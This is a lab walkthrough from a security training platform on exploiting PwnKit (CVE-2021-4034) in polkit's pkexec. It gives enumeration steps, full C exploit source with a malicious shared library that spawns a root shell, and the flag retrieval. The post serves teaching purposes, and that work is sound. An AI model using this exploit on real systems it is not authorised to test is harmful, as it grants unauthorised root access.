Resources
    Lab Walkthrough - Exploit ...
    22 August 22

    Lab Walkthrough - Exploiting PwnKit (CVE-2021–4034)

    Posted byShivam Bathla
    facebooktwitterlinkedin
    news-featured

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Introduction

    1_JPGCchWFuEIncTGnHGl1iA.png

    The Qualys team discovered a Local Privilege Escalation (from any user to root) in Polkit’s pkexec, a SUID-root program that is installed by default on every major Linux distribution.

    It is a memory corruption vulnerability discovered in the pkexec command (installed on all major Linux distributions), dubbed PwnKit, and assigned CVE-2021–4034. It was announced on January 25, 2022. The vulnerability dates back to the original distribution from 2009. The vulnerability received a CVSS score of 7.8 (“High severity”), reflecting serious factors involved in a possible exploit: unprivileged users can gain full root privileges, regardless of the underlying machine architecture or whether the polkit daemon is running or not.

    References

    In this lab writeup, we will learn how to exploit the local privilege escalation vulnerability in the pkexec utility in a realistic environment to gain root access on the machine. It’s good if you can follow along the writeup in the lab itself, you give you a hands-on experience with PwnKit.

    Lab Environment

    1_pm371SFxdw_w6MXFsLtfag.png

    In this lab environment, the user is going to get access to an Ubuntu CLI instance. The provided Ubuntu instance has a vulnerable version of the Polkit’s pkexec utility.

    Objective: Exploit the local privilege escalation vulnerability in the Polkit’s pkexec utility to gain root access and retrieve the flag!

    Lab Link: https://my.ine.com/CyberSecurity/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/e9bf07d4-423d-4696-b0b1-c5a08c4dcfb4

    Acknowledgements

    The setup code is based on the following Github repository:

    Tools

    The best tools for this lab are:

    • make
    • A web browser

    Solution

    Vulnerability Identification

    Step 1: Open the lab link to access the Ubuntu CLI instance.

    0_F3RVLvfbCDgi61VA.png

    Step 2: Check the system information.

    Commands:

    uname -acat /etc/issue
    0_ciJt6QWsaSqD7QpD.png

    We have a Ubuntu 20.04 instance running 5.4.0–107-generic kernel.

    Step 3: Check all available SUID binaries.

    Run the following command to find all SUID binaries:

    Command:

    find / -perm -4000 2>/dev/null
    0_h4QjSgO68Oz8BK0B.png

    /usr/bin/pkexec is a SUID binary.

    Information:

    Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones. Polkit allows a level of control of centralized system policy.

    Reference: https://en.wikipedia.org/wiki/Polkit

    pkexec utility is a part of Polkit. It is used to execute commands as another user, similar to sudo:

    0_Mi7sAErct9Dx738a.png

    Reference: https://linux.die.net/man/1/pkexec

    Check the permissions of pkexec binary:

    Command:

    ls -al /usr/bin/pkexec 
    0_DJ6DTqjdFc4wLoof.png

    pkexec is a SUID root binary.

    Step 4: Check the pkexec utility version.

    Commands:

    /usr/bin/pkexec
    /usr/bin/pkexec --version
    0_2nd1tvFYvrN_LiOm.png

    pkexec version 0.105 is installed on the system.

    Step 5: Identify the vulnerabilities in the installed version of the pkexec utility.

    Look for the following search string:

    Search string:

    pkexec version 0.105
    0_Jz1w5SVEyE_iDDeV.png

    The search results refer to a local privilege escalation (LPE) vulnerability in the detected version of polkit.

    The CVE corresponding to the listed issue is CVE-2021–4034.

    Exploitation

    Step 6: Open the packetstormsecurity link.

    URL: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html

    0_9FUfiadpHSrMwHsx.png

    Notice the exploit code is present on this page.

    Step 7: Save the exploit code to individual files.

    Save the code corresponding to Makefile, evil-so.c, and exploit.c in the respective files:

    Makefile:

    all:
        gcc -shared -o evil.so -fPIC evil-so.c
        gcc exploit.c -o exploitclean:
        rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

    evil-so.c:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>void gconv() {}void gconv_init() {
        setuid(0);
        setgid(0);
        setgroups(0);    execve("/bin/sh", NULL, NULL);
    }

    exploit.c:

    #include <stdio.h>
    #include <stdlib.h>#define BIN "/usr/bin/pkexec"
    #define DIR "evildir"
    #define EVILSO "evil"int main()
    {
        char *envp[] = {
            DIR,
            "PATH=GCONV_PATH=.",
            "SHELL=ryaagard",
            "CHARSET=ryaagard",
            NULL
        };
        char *argv[] = { NULL };    system("mkdir GCONV_PATH=.");
        system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
        system("mkdir " DIR);
        system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
        system("cp " EVILSO ".so " DIR);    execve(BIN, argv, envp);    return 0;
    }

    Once these files are saved, you should have three files in your home directory:

    Command:

    ls -l
    0_T-p7EV4v3jR2ttkb.png

    Step 8: Compile the exploit code.

    Commands:

    make allls
    0_4bKPAAk6hGq6pntV.png

    Two files, namely evil.so and exploit, are generated.

    Step 9: Run the generated exploit binary.

    Check the id before and after running the exploit binary:

    Commands:

    id./exploitid
    0_rM7SDor8oz4vk8FN.png

    We have obtained a root shell after running the exploit binary.

    Step 10: Retrieve the flag.

    Find the flag file:

    Command:

    find / -iname *flag*
    0_jcBD2vM4eVXEJT1E.png

    The flag file is located in the file /root/FLAG.

    Read the flag:

    Command:

    cat /root/FLAG
    0_e5AdYlTJkR-gPMrZ.png

    FLAG: 8c878e95370447b7abc54b2a108d9952

    Potential Impact of PwnKit Vulnerability

    Successful exploitation of this vulnerability allows any unprivileged user to gain root privileges on the vulnerable host. Qualys security researchers had been able to independently verify the vulnerability, develop an exploit, and obtain full root privileges on default installations of Ubuntu, Debian, Fedora, and CentOS. Other Linux distributions are likely vulnerable and probably exploitable. This vulnerability has been hiding in plain sight for 12+ years and has affected all versions of pkexec since its first version in May 2009 (commit c8c3d83, “Add a pkexec(1) command”).

    Reference: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

    How to patch the PwnKit vulnerability

    Given the breadth of the attack surface for this vulnerability across both Linux and non-Linux OS, Qualys recommends that users apply patches for this vulnerability immediately.

    Reference: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

    Conclusion

    With that, we conclude this lab writeup on PwnKit. The important part is the ease of exploitation of this memory corruption vulnerability. Despite being a memory corruption issue, the utility is instantly and reliably exploitable in an architecture-independent manner.

    If you wish to dig down and find out more about the vulnerability and how the exploitation is done, it is worth checking the advisory published by the Qualys team: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

    References

    Want to try this lab hands-on? Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    © 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo